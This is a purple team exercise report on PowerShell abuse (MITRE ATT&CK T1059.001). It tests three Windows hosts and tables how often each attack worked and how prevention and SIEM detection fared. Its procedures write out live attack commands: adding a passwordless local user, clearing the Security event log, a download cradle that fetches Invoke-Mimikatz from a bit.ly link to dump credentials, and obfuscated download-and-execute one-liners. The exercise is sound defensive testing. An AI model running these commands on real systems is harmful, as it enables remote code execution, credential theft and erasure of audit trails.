**Purple Team Exercise**

## ID:

PTE-T1059

## TITLE:

PowerShell

## DATE:

13 Nov 2020

## OWNER:

John Doe

## OBJECTIVE STATEMENT:

Test execution of MITRE ATT&CK technique T1059.001 (PowerShell), document effectiveness of prevention & detection, and identify potential areas for improvement.

## SCOPE AND APPLICABILITY:

**Target systems:**

* Internal Windows Server
* DMZ Windows Server
* Standard Windows Desktop

**Test List:**

1. Add Local User
2. Clear Event Log of Security Events
3. PowerShell Invoke Mimikatz from Remote Source.
4. Obfuscation Tests.
5. PowerShell Session Creation and Use.

## METHODOLOGY AND PROCEDURES:

**Test 1 – Add Local User**

Add a local user account.

1. Open elevated PowerShell window
2. Run command

New-LocalUser -Name "PurplePwner" -Description "test account" -NoPassword

**Test 2 – Clear Event Log of Security Events**

Clear security events from the Windows Event Log.

1. Open elevated PowerShell window
2. Run command

Clear-EventLog -LogName Security

**Test 3 – PowerShell Invoke Mimikatz from Remote Source**

Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.

1. Open PowerShell window
2. Run command

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/L3g1tCrad1e'); Invoke-Mimikatz -DumpCr"

## **Test 4 - Obfuscation Tests**

## Upon execution, reaches out to bit.ly/L3g1t and displays: "SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION"

1. Open powershell
2. Run command

New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default\_File\_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default\_File\_Path.ps1')|ForEach-Object{[Char]$\_})))

(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default\_File\_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default\_File\_Path.ps1')|ForEach-Object{[Char]$\_}))).InvokeReturnAsIs()

Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\gH 'Default\_File\_Path.ps1';ls \_-\*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$\_.Name-like'\*Cm\*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$\_.Name-like'\*om\*e'}).Name).Invoke('\*w-\*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$\_.Name-like'\*w\*i\*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value)))

**Test 5 - PowerShell Session Creation and Use**

Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.

1. Open powershell as administrator
2. Run command

New-PSSession -ComputerName #{hostname\_to\_connect}

Test-Connection $env:COMPUTERNAME

Set-Content -Path $env:TEMP\T1059\_PowerShell\_Session\_Creation\_and\_Use -Value "T1059 PowerShell Session Creation and Use"

Get-Content -Path $env:TEMP\T1059\_PowerShell\_Session\_Creation\_and\_Use

Remove-Item -Force $env:TEMP\T1059\_PowerShell\_Session\_Creation\_and\_Use

## Attack Results:

|  |  |  |  |
| --- | --- | --- | --- |
| **Attack** | **Internal Windows Server** | **DMZ Windows Server** | **Windows Desktop** |
| PS Add Local User | Failed User Add | Failed User Add | Succeeded |
| PS Clear Event Log of Security Events | Succeeded | Succeeded | Succeeded |
| PS Invoke  Mimikatz from Remote Source | Failed Download | Failed Download | Failed Execution |
| PS Obfuscation Tests. | Failed Download | Failed Download | Succeeded |
| PS Session Creation and Use. | Succeeded | Succeeded | Failed Connection |

## Defense Results:

|  |  |  |  |
| --- | --- | --- | --- |
| **Attack** | **Internal Windows Server** | **DMZ Windows Server** | **Windows Desktop** |
| PS Add Local User | Policy blocked. Data exists. SIEM alerted. | Policy blocked. Data exists. SIEM alerted. | Event not logged. Not detected. |
| PS Clear Event Log of Security Events | Data exists. SIEM alerted. | Data exists. SIEM alerted. | Data exists. SIEM did not alert. |
| PS Invoke  Mimikatz from Remote Source | AV blocked. Data exists. SIEM did not alert because the number of events was below the alert threshold. | AV blocked. Data exists. SIEM alerted. | AV blocked. Data exists. SIEM did not alert because the number of events was below the alert threshold. |
| PS Obfuscation Tests. | AV blocked. Data exists. SIEM did not alert because the number of events was below the alert threshold. | AV blocked. Data exists. SIEM alerted. | Event not logged. Not detected. |
| PS Session Creation and Use. | Data exists. SIEM did not alert. | Data exists. SIEM did not alert. | Firewalls blocked. Data exists. SIEM did not alert. |